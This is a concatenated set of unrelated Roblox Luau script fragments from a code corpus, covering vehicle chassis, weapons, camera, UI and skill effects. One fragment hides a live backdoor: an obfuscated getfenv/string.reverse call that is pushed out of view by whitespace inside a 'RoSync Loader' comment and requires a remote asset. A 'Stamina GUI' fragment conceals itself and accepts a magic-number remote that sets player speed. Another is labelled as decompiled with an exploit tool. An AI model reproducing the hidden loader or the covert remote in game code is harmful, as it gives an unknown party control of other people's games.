Roblox/luau_corpus huggingface dataset:
--Special Colors
--Using these options will override the RGB Colors section. Make sure that your setup is correct.
--You may only use one of these options.
local stillRainbow = false --Change this to true in order to enable still rainbow colors (Gradient.)
local dynamicRainbow = false --Change this to true in order to enable dynamic rainbow colors (Changes over time.)
--[=[
	@interface ComponentConfig
	@within Component
	.Tag string -- CollectionService tag to use
	.Ancestors {Instance}? -- Optional array of ancestors in which components will be started
	.Extensions {Extension}? -- Optional array of extension objects

	Component configuration passed to `Component.new`.

	- If no Ancestors option is included, it defaults to `{workspace, game.Players}`.
	- If no Extensions option is included, it defaults to a blank table `{}`.
]=]
type ComponentConfig = {
	Tag: string,
	Ancestors: AncestorList?,
	Extensions: {Extension}?,
}
--This Script works for R6 R15 and Rthro!!
local JumpHeight = 200
local Can = true
script.Parent.Touched:Connect(function(hit)
	if hit.Name == "Left Leg"
		or hit.Name == "Right Leg"
		or hit.Name == "Torso"
		or hit.Name == "Left Arm"
		or hit.Name == "Right Arm"
		or hit.Name == "LeftFoot"
		or hit.Name == "RightFoot"
		or hit.Name == "HumanoidRootPart"
		or hit.Name == "RightHand"
		or hit.Name == "LeftHand"
		or hit.Name == "Head" then
		if Can == true then
			Can = false
			local Character=hit.Parent
			local HumanoidRootPart=Character:WaitForChild("HumanoidRootPart")
			local Boost=Instance.new("BodyPosition",HumanoidRootPart)
			Boost.D=1000
			Boost.P=15000
			Boost.MaxForce=Vector3.new(0,100000000,0)
			Boost.Position=Vector3.new(0,HumanoidRootPart.Position.Y + JumpHeight,0)
			
			--Delete The Next Line After This One For No Sound
			script.Parent.Spring:Play()

			--(Not Recomended) Change To How Long The 'Boost' Exists
			game.Debris:AddItem(Boost,0.6)
			wait(0.75)
			Can=true
		end
	end
end)
--		body[r].B.Light.Range = d2/4
		
		body[r].B.Light.Brightness = d2/80
		
		for i,v in pairs(body[r]:GetChildren()) do
			if v.Name ~= "B" then
				v.Transparency = 1 - (d2/80)
			end
		end
	else
--[[Run]]

	--Print Version
	local ver=require(car["A-Chassis Tune"].README)
	print("//INSPARE: AC6 Loaded - Build "..ver)
	
	--Runtime Loops
	
	-- ~60 c/s
	game["Run Service"].Stepped:connect(function()
		--Steering
		Steering()
		
		--RPM
		RPM()
		
		--Update External Values
		_IsOn = car.DriveSeat.IsOn.Value
		_InControls = script.Parent.ControlsOpen.Value
		script.Parent.Values.Gear.Value = _CGear
		script.Parent.Values.RPM.Value = _RPM
		script.Parent.Values.Horsepower.Value = _HP
		script.Parent.Values.Torque.Value = _HP * _Tune.EqPoint / _RPM
		script.Parent.Values.TransmissionMode.Value = _TMode
		script.Parent.Values.Throttle.Value = _GThrot
		script.Parent.Values.Brake.Value = _GBrake
		script.Parent.Values.SteerC.Value = _GSteerC*(1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-(_Tune.MinSteer/100)))
		script.Parent.Values.SteerT.Value = _GSteerT
		script.Parent.Values.PBrake.Value = _PBrake
		script.Parent.Values.TCS.Value = _TCS
		script.Parent.Values.TCSActive.Value = _TCSActive
		script.Parent.Values.ABS.Value = _ABS
		script.Parent.Values.ABSActive.Value = _ABSActive
		script.Parent.Values.MouseSteerOn.Value = _MSteer
		script.Parent.Values.Velocity.Value = car.DriveSeat.Velocity
	end)
	
	-- ~15 c/s
	while wait(.0667) do
		--Power
		Engine()
		
		--Flip
		if _Tune.AutoFlip then Flip() end
	end
-----<< CONNECTIONS >>-----

tool.Equipped:Connect(equip)
tool.Unequipped:Connect(unequip)
game.ReplicatedStorage:WaitForChild("ROBLOX_PistolHitEvent").OnClientEvent:Connect(hitmarkerUpdate)
game.ReplicatedStorage:WaitForChild("ROBLOX_PistolShotEvent").OnClientEvent:Connect(function(mag, ammo) updateWeaponHud(mag, ammo) end)
--[[START]]
script.Parent:WaitForChild("Car")
script.Parent:WaitForChild("IsOn")
script.Parent:WaitForChild("ControlsOpen")
script.Parent:WaitForChild("Values")
----- Script: -----

Button.Activated:Connect(function()
	if Information.Case.Value == 0 then
		Messages.Type.SelectPackage.Value = true
		Messages.FireMessage.Value = true
	elseif Information.Case.Value == 1 then
		BuyCaseEvents.Case1:FireServer(Information.PricePoints.Value,Information.PriceGems.Value,true)
	end
end)
-- Remote Events
-- Used by both client and server to replicate projectiles to opposite contexts
local RE_CreateProjectile = ReplicatedStorage.RemoteEvents.CreateProjectile
local RE_CreateThrowable = ReplicatedStorage.RemoteEvents.CreateThrowable
--[=[
	Short hand to register an event from the instance

	```lua
		Blend.mount(workspace, {
			[Blend.OnEvent "ChildAdded"] = function(child)
				print("Child added", child)
			end;
		})

		local folder = Instance.new("Folder")
		folder.Name = "Hi"
		folder.Parent = workspace --> prints "Child added Hi"
	```

	@param eventName string
	@return (instance: Instance) -> Observable
]=]
function Blend.OnEvent(eventName)
	assert(type(eventName) == "string", "Bad eventName")

	return function(instance)
		return Rx.fromSignal(instance[eventName])
	end
end
--Output Cache	
local NCache = {}
local ECache = {}
local TCache = {}
local SCache = {}

for gear,ratio in pairs(_Tune.Ratios) do
	local nhpPlot = {}
	local ehpPlot = {}
	local thpPlot = {}
	local shpPlot = {}
	for rpm = 0, math.ceil((_Tune.Redline+100)/100) do
		local ntqPlot = {}
		local etqPlot = {}
		local ttqPlot = {}
		local stqPlot = {}
		if rpm~=0 then
			if _Tune.Engine then
				ntqPlot.Horsepower,ntqPlot.Torque = GetNCurve(rpm*100,gear-2)
				if _TCount~=0 then
					ttqPlot.Horsepower,ttqPlot.Torque = GetTCurve(rpm*100,gear-2)
				else
					ttqPlot.Horsepower,ttqPlot.Torque = 0,0
				end
				if _SCount~=0 then
					stqPlot.Horsepower,stqPlot.Torque = GetSCurve(rpm*100,gear-2)
				else
					stqPlot.Horsepower,stqPlot.Torque = 0,0
				end
			else
				ntqPlot.Horsepower,ntqPlot.Torque = 0,0
				ttqPlot.Horsepower,ttqPlot.Torque = 0,0
				stqPlot.Horsepower,stqPlot.Torque = 0,0
			end
			if _Tune.Electric then
				etqPlot.Horsepower,etqPlot.Torque = GetECurve(rpm*100,gear-2)
			else
				etqPlot.Horsepower,etqPlot.Torque = 0,0
			end
		else
			ntqPlot.Horsepower,ntqPlot.Torque = 0,0
			etqPlot.Horsepower,etqPlot.Torque = 0,0
			ttqPlot.Horsepower,ttqPlot.Torque = 0,0
			stqPlot.Horsepower,stqPlot.Torque = 0,0
		end
		if _Tune.Engine then
			nhp,ntq = GetNCurve((rpm+1)*100,gear-2)
			if _TCount~=0 then
				thp,ttq = GetTCurve((rpm+1)*100,gear-2)
			else
				thp,ttq = 0,0
			end
			if _SCount~=0 then
				shp,stq = GetSCurve((rpm+1)*100,gear-2)
			else
				shp,stq = 0,0
			end
		else
			nhp,ntq = 0,0
			thp,ttq = 0,0
			shp,stq = 0,0
		end
		if _Tune.Electric then
			ehp,etq = GetECurve((rpm+1)*100,gear-2)
		else
			ehp,etq = 0,0
		end
		ntqPlot.HpSlope,ntqPlot.TqSlope = (nhp-ntqPlot.Horsepower),(ntq-ntqPlot.Torque)
		etqPlot.HpSlope,etqPlot.TqSlope = (ehp-etqPlot.Horsepower),(etq-etqPlot.Torque)
		ttqPlot.HpSlope,ttqPlot.TqSlope = (thp-ttqPlot.Horsepower),(ttq-ttqPlot.Torque)
		stqPlot.HpSlope,stqPlot.TqSlope = (shp-stqPlot.Horsepower),(stq-stqPlot.Torque)
		nhpPlot[rpm] = ntqPlot
		ehpPlot[rpm] = etqPlot
		thpPlot[rpm] = ttqPlot
		shpPlot[rpm] = stqPlot
	end
	table.insert(NCache,nhpPlot)
	table.insert(ECache,ehpPlot)
	table.insert(TCache,thpPlot)
	table.insert(SCache,shpPlot)
end
--------------------[ SPRINTING FUNCTIONS ]-------------------------------------------

function MonitorStamina()
	while Run_Key_Pressed do
		if (not Aimed) and (not Aiming) then 
			break
		end
		RS:wait()
	end
	while Run_Key_Pressed and (not Aiming) and (not Aimed) and (not Knifing) and (not ThrowingGrenade) do
		local Forward = (Keys["w"] or Keys[string.char(17)])
		local Backward = (Keys["s"] or Keys[string.char(18)])
		if (Forward and (not Backward))
		and Walking and (Stamina > 0) then
			if Stance == 1 or Stance == 2 then Stand() end
			local NewStamina = Stamina - 1
			Stamina = (NewStamina < 0 and 0 or NewStamina)
			Running = true
		elseif (not (Forward and (not Backward)))
		or (not Walking) or (Stamina == 0) then
			break
		end
		RS:wait()
	end
	Running = false
	RechargeStamina()
end

function RechargeStamina()
	ChargingStamina = true
	while ((not Run_Key_Pressed) or (Stamina < MaxStamina)) and (not Running) do
		if Stamina < MaxStamina then
			local NewStamina = Stamina + (S.SprintTime / S.StaminaCoolTime)
			Stamina = (NewStamina > MaxStamina and MaxStamina or NewStamina)
		elseif Stamina >= MaxStamina then
			break
		end
		RS:wait()
	end
	ChargingStamina = false
end
--[[script.Parent.OnServerEvent:Connect(function(plr)
	local char = plr.Character
	local Effect = game.ReplicatedStorage.FlameSkill.SkillV
	local Weld = Instance.new("Weld")
    Weld.Parent = char.Head
	Weld.Part0 = char.HumanoidRootPart
    local FX = Effect:Clone()
    FX.Parent = char.Head
	Weld.Part1 = char.Head.SkillV
	Weld.C1 = CFrame.new (0, -30, 0)
end)]]
script.Parent.OnServerEvent:Connect(function(plr)
	local char = plr.Character
	local Effect = game.ReplicatedStorage.FlameSkill.SkillV
	local FX = Effect:Clone()
	local energy = plr.Hamon
	--local FX = game.ReplicatedStorage.FlameSkill.SkillV:Clone()
	FX.Parent = char.Head
	FX.CFrame = char.HumanoidRootPart.CFrame + Vector3.new(0, 60, 0)
	FX.Anchored = true
	local Effect2 = game.ReplicatedStorage.FlameSkill.FlameV
	local FX2 = Effect2:Clone()
	if char.Humanoid.FloorMaterial == "Plastic" then
		FX2.Transparency = 0
	end
	FX2.Parent = char.Head
	FX2.CFrame = char.HumanoidRootPart.CFrame + Vector3.new(0, -10, 0)
	FX2.Anchored = true
	--FX2.Script.Disabled = false
	
	energy.Value = energy.Value + 100
	--FX.Script.Disabled = false
end)
--//Weight//--
VehicleWeight = 1300 --{Weight of vehicle in KG}
WeightDistribution = 40 --{To the rear}
-- Note: The active transparency controller could be made to listen for this event itself.
function CameraModule:OnCameraSubjectChanged()
	if self.activeTransparencyController then
		self.activeTransparencyController:SetSubject(game.Workspace.CurrentCamera.CameraSubject)
	end
	
	if self.activeOcclusionModule then
		self.activeOcclusionModule:OnCameraSubjectChanged(game.Workspace.CurrentCamera.CameraSubject)
	end
end

function CameraModule:OnCameraTypeChanged(newCameraType)
	if newCameraType == Enum.CameraType.Scriptable then
		if UserInputService.MouseBehavior == Enum.MouseBehavior.LockCenter then
			UserInputService.MouseBehavior = Enum.MouseBehavior.Default
		end
	end
	
	-- Forward the change to ActivateCameraController to handle
	self:ActivateCameraController(nil, newCameraType)	
end
--Numbers
local Num1 = script.Parent.Code1Fake.CodeSet.Value
local Num2 = script.Parent.Code2Fake.CodeSet.Value
local Num3 = script.Parent.Code3Fake.CodeSet.Value
local FNum1 = script.Parent.Code1Fake.MainCode.NumberGUI.TextLabel
local FNum2 = script.Parent.Code2Fake.MainCode.NumberGUI.TextLabel
local FNum3 = script.Parent.Code3Fake.MainCode.NumberGUI.TextLabel
local Code = script.Parent.Code
local EnteredCode = script.Parent.EnteredCode
local Ready = script.Parent.Ready
Num1 = math.random(1,4)
Num2 = math.random(1,4)
Num3 = math.random(1,4)
if Num1 == 1 then
	FNum1.Text = "I"
elseif Num1 == 2 then
	FNum1.Text = "II"
elseif Num1 == 3 then
	FNum1.Text = "III"
elseif Num1 == 4 then
	FNum1.Text = "IV"
end
if Num2 == 1 then
	FNum2.Text = "I"
elseif Num2 == 2 then
	FNum2.Text = "II"
elseif Num2 == 3 then
	FNum2.Text = "III"
elseif Num2 == 4 then
	FNum2.Text = "IV"
end
if Num3 == 1 then
	FNum3.Text = "I"
elseif Num3 == 2 then
	FNum3.Text = "II"
elseif Num3 == 3 then
	FNum3.Text = "III"
elseif Num3 == 4 then
	FNum3.Text = "IV"
end
Code.Value = tostring(Num1)..""..tostring(Num2)..""..tostring(Num3)
Ready = true
--- Skill
repeat wait() until game.Players.LocalPlayer.Character

local plr = game.Players.LocalPlayer
local char = plr.Character
local hum = char:WaitForChild("Humanoid")
local Torso = char:WaitForChild("LowerTorso")
local Mouse = plr:GetMouse()
local toggle = false
local Debounce = true
Mouse.KeyDown:Connect(function(key)
    if key == "f" and Tool.Equip.Value == true and Tool.Active.Value == "None" or Tool.Active.Value == "SunaFlight" then
        if toggle == false and Debounce == true then
            toggle = true
            local Anim = Instance.new("Animation")
            Anim.AnimationId = "rbxassetid://4865646330"
            local PlayAnim = hum:LoadAnimation(Anim)
            PlayAnim:Play()
            Debounce = false
            Tool.Active.Value = "SunaFlight"
		    script.Fire:FireServer(plr)
            local BV = Instance.new("BodyVelocity",Torso)
            BV.MaxForce = Vector3.new(math.huge,math.huge,math.huge)
            while toggle == true do
                wait()
            plr.Character.HumanoidRootPart.CFrame = CFrame.new(plr.Character.HumanoidRootPart.Position, Vector3.new(Mouse.Hit.p.x,plr.Character.HumanoidRootPart.Position.y,Mouse.Hit.p.z))
            BV.Velocity = Mouse.Hit.lookVector * 110
            end
        end
        if toggle == true and Debounce == false then
            toggle = false
            Tool.Active.Value = "None"
            script.UnFire:FireServer(plr)
            Torso:FindFirstChildOfClass("BodyVelocity"):Destroy()
            local tracks = hum:GetPlayingAnimationTracks()
            for i, stoptracks in pairs(tracks) do
            stoptracks:Stop()
            end
            local Anim = Instance.new("Animation")
            Anim.AnimationId = "http://www.roblox.com/asset/?id=507767968"
            local PlayAnim = hum:LoadAnimation(Anim)
            PlayAnim:Play()
            wait(3.5)
            Debounce = true
        end
    end
end)
-- Function to bind to reload event
local function reload(player)
	if not reloading and currentAmmo < clipSize and tool.Equipped then
		tool.Handle.ReloadSound:Play()
		reloading = true
		canFire = false
		if infiniteAmmo then -- dealing with infinite ammo
			shotEvent:FireClient(player, "--", clipSize)
			wait(reloadTime)
			currentAmmo = clipSize
			shotEvent:FireClient(player, currentAmmo, clipSize)
		elseif consolidateAmmo then -- dealing with limited ammo that saves what's in your current clip
			remainingAmmo = currentAmmo
			shotEvent:FireClient(player, "--", ammoLeft)
			wait(reloadTime)
			currentAmmo = math.min(clipSize, (ammoLeft + remainingAmmo))
			ammoLeft = (ammoLeft + remainingAmmo) - math.min(clipSize, (ammoLeft + remainingAmmo))
			shotEvent:FireClient(player, currentAmmo, ammoLeft)
		else -- dealing with limited ammo where you throw away any ammo remaining in your clip when you reload
			shotEvent:FireClient(player, "--", ammoLeft)
			wait(reloadTime)
			currentAmmo = math.min(clipSize, ammoLeft)
			ammoLeft = ammoLeft - math.min(clipSize, ammoLeft)
			shotEvent:FireClient(player, currentAmmo, ammoLeft)
		end
		canFire = true
		reloading = false
	end
end
-- padding between each entry
local ENTRY_MARGIN = 1

local Input = game:GetService("UserInputService")
local HoldingCtrl = false
local HoldingShift = false
-- Decompiled with the Synapse X Luau decompiler.

local v1 = {};
local l__ReplicatedStorage__2 = game.ReplicatedStorage;
local v3 = require(game.ReplicatedStorage.Modules.Lightning);
local v4 = require(game.ReplicatedStorage.Modules.Xeno);
local v5 = require(game.ReplicatedStorage.Modules.CameraShaker);
local v6 = require(game.ReplicatedStorage.Modules.CameraShakerV2);
local l__Animations__1 = workspace.Ignored.Animations;
local l__TweenService__2 = game.TweenService;
local l__Debris__3 = game.Debris;
function v1.RunStompFx(p1, p2, p3, p4)
	local l__CFrame__7 = p3.Character:WaitForChild("HumanoidRootPart").CFrame;
	local l__Parent__8 = p2.Parent;
	local v9 = script.Fireball:Clone();
	v9.CFrame = l__Parent__8.HumanoidRootPart.CFrame * CFrame.new(math.random(-115, 115), math.random(150, 300), math.random(-115, 115));
	v9.CFrame = CFrame.lookAt(v9.Position, l__Parent__8.HumanoidRootPart.Position);
	v9.Parent = l__Animations__1;
	v9.fire:Play();
	v9.ignite:Play();
	l__TweenService__2:Create(v9, TweenInfo.new(1, Enum.EasingStyle.Linear, Enum.EasingDirection.Out), {
		Position = p2.Position
	}):Play();
	task.wait(1);
	local v10 = script.Explosion:Clone();
	v10.Position = v9.Position;
	v10.Parent = l__Animations__1;
	v9:Destroy();
	local v11 = script.Fireball.explosion:Clone();
	v11.Parent = p2;
	v11:Play();
	l__Debris__3:AddItem(v11, 2.5);
	for v12, v13 in v10() do
		if v13:IsA("ParticleEmitter") then
			v13:Emit(v13:GetAttribute("EmitCount"));
		end;
	end;
end;
return v1;
--DO NOT DELETE, THIS WILL BREAK THE GUN

function Stick(x, y)
	local W = Instance.new("Weld")
	W.Part0 = x
	W.Part1 = y
	local CJ = CFrame.new(x.Position)
	local C0 = x.CFrame:inverse()*CJ
	local C1 = y.CFrame:inverse()*CJ
	W.C0 = C0
	W.C1 = C1
	W.Parent = x
end

function Get(A)
	if A.ClassName == ("Part") then
		Stick(script.Parent.Handle, A)
		A.Anchored = false
	else
		local C = A:GetChildren()
		for i=1, #C do
		Get(C[i])
		end
	end
end

function Finale()
	Get(script.Parent)
end

script.Parent.Equipped:Connect(Finale)
script.Parent.Unequipped:Connect(Finale)
Finale()
-- Thanks for using my Baldi's Basics Stamina GUI! (this is better than the other ones out there)
-- You don't have to give credit since it's just a gui, but it's appreciated!

local maingui = script.Stamina:Clone()
script.Stamina:Destroy()

script.Archivable = false
script.Parent = nil -- Hides the script

game.Players.PlayerAdded:Connect(function(player)
	local function LoadGuis(player)
		game:GetService("RunService").Heartbeat:Wait() -- waits for any script that auto-clears guis to do its job
		local plrguis = player:FindFirstChild("PlayerGui")
		if (plrguis) then
			local oldgui = plrguis:FindFirstChild("Stamina")
			if (oldgui) then
				oldgui:Destroy()
			end
			local gui = maingui:Clone()
			local event = gui.Frame:WaitForChild("Speed")
			event.OnServerEvent:Connect(function(plr,sec,spd)
				if (sec == 1055299) then
					local hum = plr.Character:FindFirstChildWhichIsA("Humanoid")
					if hum ~= nil then
						hum.WalkSpeed = spd
					end
				end
			end);
			gui.Parent = plrguis
		end
	end
	LoadGuis(player)
	player.CharacterAdded:Connect(function() LoadGuis(player) end)
end)
--Main Settings:
HANDBRAKE		= true
PADDLE_SHIFTER	= false
PEDALS		 	= true
SHIFTER			= true
STEERING_WHEEL	= true
-- Referenced by doing ``main.main:GetModule("API")``

local hd = {}
--Made by CookieScript
--[[ Last synced 10/16/2020 12:52                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[                                                                                                  ]]--
--------------------------UTIL LIBRARY-------------------------------
local Utility = {}
do
	local function FindCharacterAncestor(part)
		if part then
			local humanoid = part:FindFirstChildOfClass("Humanoid")
			if humanoid then
				return part, humanoid
			else
				return FindCharacterAncestor(part.Parent)
			end
		end
	end
	Utility.FindCharacterAncestor = FindCharacterAncestor

	local function Raycast(ray, ignoreNonCollidable, ignoreList)
		ignoreList = ignoreList or {}
		local hitPart, hitPos, hitNorm, hitMat = Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList)
		if hitPart then
			if ignoreNonCollidable and hitPart.CanCollide == false then
				-- We always include character parts so a user can click on another character
				-- to walk to them.
				local _, humanoid = FindCharacterAncestor(hitPart)
				if humanoid == nil then
					table.insert(ignoreList, hitPart)
					return Raycast(ray, ignoreNonCollidable, ignoreList)
				end
			end
			return hitPart, hitPos, hitNorm, hitMat
		end
		return nil, nil
	end
	Utility.Raycast = Raycast
end

local humanoidCache = {}
local function findPlayerHumanoid(player)
	local character = player and player.Character
	if character then
		local resultHumanoid = humanoidCache[player]
		if resultHumanoid and resultHumanoid.Parent == character then
			return resultHumanoid
		else
			humanoidCache[player] = nil -- Bust Old Cache
			local humanoid = character:FindFirstChildOfClass("Humanoid")
			if humanoid then
				humanoidCache[player] = humanoid
			end
			return humanoid
		end
	end
end
-- Support for debounce
function PlayCutscene()
	if bin then
		bin = false
		if ProtectTheCharacterWhilePlaying and ProtectTheCharacterWhilePlaying.Value and Player.Character then
			CharacterProtector.Parent = Player.Character
		end
		Demo:Play()
	end
end

Demo.EStop.Event:Connect(function()
	wait_time(Debounce.Value)
	CharacterProtector.Parent = nil
	if PlayOnce then
		if not PlayOnce.Value then
			bin = true
		end
	else
		bin = true
	end
	if StopMusicWhenFinished and StopMusicWhenFinished.Value then
		if OnFinishedRemove then
			for i,v in pairs(OnFinishedRemove:GetChildren()) do
				if v:IsA("ObjectValue") then
					if v.Value then
						v.Value:Destroy()
					end
				end
			end
		end
	end
end)
-- USER INPUT

export type InputEnumType = EnumItem & (Enum.KeyCode | Enum.UserInputType)

export type InputOptions = {
	state: Enum.UserInputState?,
	checkText: boolean?
}

export type InputObject = {
	Name: string,
	Enabled: boolean,
	Function: (...any) -> (...any),
	CheckText: boolean
}

export type InputObjectArray = Array<InputObject>

export type StateList = Map<Enum.UserInputState, InputObjectArray>

export type InputList = Map<InputEnumType, StateList>

export type UserInputType = {
	KeysDown: Map<Enum.KeyCode, boolean>,
	BoundInputs: {
		['KeyCode']: InputList,
		['UserInputType']: InputList,
	},
	AddInput: (self: UserInputType, name: string, inputs: InputEnumType | { InputEnumType }, func: (...any) -> (...any), options: InputOptions) -> (),
	RemoveInput: (self: UserInputType, name: string) -> ()
}
--Localize
local instance,newRay	= Instance.new,Ray.new
local v2,v3,cf,udim2	= Vector2.new,Vector3.new,CFrame.new,UDim2.new
local insert,random,abs	= table.insert,math.random,math.abs


local Player			= game.Players.LocalPlayer
--[[----------------------------------------------------------------------------------------------------
	<auto-generated>
		This file was generated by: ClientIntegration/Tools/LuaStringsGenerator/GenerateAllLocales.py

		Changes to this file should always follow:
		Building an Internationalized Feature - Engineer's Guide:
		https://confluence.roblox.com/display/IN/Building+an+Internationalized+Feature+-+Engineer%27s+Guide
		Sync up with newly-updated translations:
		https://confluence.roblox.com/display/MOBAPP/Sync+up+with+newly-updated+translations
	</auto-generated>
--------------------------------------------------------------------------------------------------------]]

return{
}
-- Touched events

handler.OnClientEvent:Connect(function()
	print('client received')
	local val = game.Players.LocalPlayer:WaitForChild('PlayerGui'):WaitForChild('A-Chassis Interface')
	val.IsOn.Value = false
end)